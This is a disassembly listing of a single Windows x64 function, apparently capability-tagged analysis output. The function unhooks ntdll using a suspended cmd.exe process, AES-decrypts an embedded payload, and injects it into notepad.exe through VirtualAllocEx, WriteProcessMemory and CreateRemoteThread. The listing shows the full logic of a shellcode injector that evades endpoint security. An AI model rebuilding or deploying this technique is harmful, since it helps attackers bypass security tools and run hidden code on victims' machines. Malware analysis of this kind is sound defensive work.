Function at 0x1400012e0
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate processes
Hash data via wincrypt
Initialize hashing via wincrypt
Inject thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x240], rax
xorps xmm0, xmm0
lea rdx, str.cmd.exe
xor eax, eax
xor r14d, r14d
mov qword [rbp - 0x10], rax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
lea rax, str.C:WindowsSystem32_
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], r14d
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001393
lea rcx, str.____Error:_Could_not_call_CreateProcess_n
call fcn.140001010
lea eax, [r14 + 1]
jmp 0x1400016e0
mov qword [rsp + 0x360], rbx
lea rcx, [0x140003420]
mov qword [rsp + 0x368], rsi
mov qword [rsp + 0x370], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 4
mov r8d, 0x1000
mov rdi, rax
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x50]
xor ecx, ecx
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, ebx
lea rcx, str.ntdll_size:__x__cache:__p_n
mov r8, rax
mov rsi, rax
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov r9d, ebx
mov qword [rsp + 0x20], rax
mov r8, rsi
mov qword [rbp - 0x80], r14
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000142b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbp - 0x80]
lea rcx, str.Error_reading:__d___x_n
mov r8d, eax
call fcn.140001010
lea rcx, str.Kill_
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, str.Done._n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str.Unhooking_ntdll_n
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, rsi
call fcn.140001070
lea rcx, str.YAY__n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov edi, r14d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400016c6
lea rdx, [rbp]
mov dword [rbp], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov rcx, rbx
test eax, eax
je 0x1400016c0
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140001521
nop dword [rax + rax]
lea rdx, [rbp + 0x2c]
lea rcx, str.notepad.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x14000151e
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400014f0
mov rcx, rbx
jmp 0x1400016c0
mov edi, dword [rbp + 8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400016c6
mov edx, edi
lea rcx, str.Notepad.exe_PID___d_n
call fcn.140001010
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400016c6
mov r9d, 0x18
mov dword [rsp + 0x68], 0x150
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rsi, [0x140005090]
test eax, eax
je 0x140001642
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001642
mov rcx, qword [rsp + 0x78]
lea rdx, [0x1400051f0]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001642
mov r8, qword [rsp + 0x78]
lea rax, [rbp - 0x78]
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001642
mov rcx, qword [rbp - 0x78]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001642
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
mov dword [rsp + 0x20], 0x20
mov r9d, 0x1000
mov r8d, 0x150
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x150
mov qword [rsp + 0x20], r14
mov rdx, rax
mov r8, rsi
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r14
mov r9, rbx
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x1400016bd
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x370]
xor eax, eax
mov rsi, qword [rsp + 0x368]
mov rbx, qword [rsp + 0x360]
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140001710
mov r14, qword [rsp + 0x378]
add rsp, 0x350
pop rbp
ret